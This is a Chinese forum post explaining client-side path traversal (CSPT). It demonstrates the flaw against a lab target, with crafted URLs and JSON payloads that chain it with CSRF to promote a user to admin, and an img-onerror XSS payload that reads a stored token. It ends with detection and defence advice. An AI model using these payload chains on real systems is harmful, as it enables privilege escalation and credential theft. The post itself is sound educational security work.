找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

175

积分

0

好友

23

主题
发表于 3 天前 | 查看: 5| 回复: 0

CSPT(Client-Side Path Traversal)即客户端路径遍历漏洞,是一种主要在前端被利用的安全问题。该漏洞已存在约一年时间,其独特之处在于能与多种常见漏洞结合产生更大危害。要理解CSPT漏洞的成因,首先需要掌握Restful风格接口的设计特点。

在Web开发中,Restful风格的接口通常呈现为以下形式:

GET /api/user/info/1
Host: xxx.com

GET /api/article/123/details
Host: xxx.com

这类接口通过URI特定部分传递参数值,例如末尾数字"1"作为用户ID参数传入后端控制器。

在实际应用中,前端通常会从URL参数中提取值并拼接到Restful接口中。假设访问前端URI:

http://xxx.com/#/articledata?id=1337

对应调用的后端接口为:

GET /api/article/1337/details
Host: xxx.com

当攻击者构造特殊输入时:

http://xxx.com/#/articledata?id=1337/../../anotherEndpoint?

前端未过滤输入直接拼接,可能产生:

GET /api/article/1337/../../anotherEndpoint?/details
Host: xxx.com

Web中间件处理"../"跨目录跳转后,实际请求变为:

GET /api/anotherEndpoint?/details
Host: xxx.com

这使得攻击者能够通过前端参数访问任意后端接口。我们将易受攻击的前端URI称为Source点,目标后端接口称为Sink点。

CSPT与CSRF组合利用(POST型)

通过CSPT靶场演示,当Source点触发POST请求时,可结合CSRF漏洞绕过Referer/Origin校验。例如构造恶意链接:

http://192.168.3.31:3000/vulnerable/note_auto_post_sink/..%2F..%2Fsink%2Fpromote%2Flax_in_extra_param_promote%2F66fc8c17d29c4a98a44a4a87%3F

管理员点击后,通过同源请求直接调用提权接口,成功将用户权限提升为admin。

GET型Source点转为POST利用

当Source点触发GET请求时,可通过两阶段攻击实现POST型利用:

  1. 控制初始GET请求指向特定接口
  2. 操纵响应内容影响后续POST请求

利用文件上传点控制响应内容:

{"_id":"..%2F..%2Fsink%2Fpromote%2Flax_in_extra_param_promote%2F66fc8c17d29c4a98a44a4a87%3F"}

构造恶意链接:

http://192.168.3.31:3000/vulnerable/note_auto_get_to_post_sink/..%2F..%2Fgadget%2Ffiles%2F6910997c7cc7bf8790c3fb57%2Fraw

单次点击利用场景

通过污染前端缓存数据实现攻击:

  1. 上传恶意文件内容:
    {"_id":"../../../../api/sink/promote/body_or_query?id=66fc8c17d29c4a98a44a4a87"}
  2. 诱导管理员访问污染链接后点击界面操作
  3. 触发PUT型提权接口完成权限提升

CSPT结合XSS攻击

当页面使用SetInnerHTML显示内容时,可通过可控文件实现XSS攻击。文件内容:

{"_id":"66fc8c8b1bcf0dd223467b9f","title":"<img src=1 onerror=\"alert(localStorage.getItem('token'))\" />"}

构造链接:

http://192.168.3.31:3000/vulnerable/note_query_param_xss?id=..%2F..%2F..%2Fapi%2Fgadget%2Ffiles%2F6910bc5b7cc7bf8790c3fc23%2Fraw%3F

检测与防护建议

漏洞发现

  • 识别Restful风格接口
  • 定位前端参数直接拼接后端URI的代码模式

防护措施

  • 前端对输入参数进行严格过滤,检测并拦截"../"等危险字符
  • 后端增加路径规范化处理
  • 关键接口添加CSRF Token验证

参考资源

您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区(YunPan.Plus) ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-1 14:12 , Processed in 0.054519 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 CloudStack.

快速回复 返回顶部 返回列表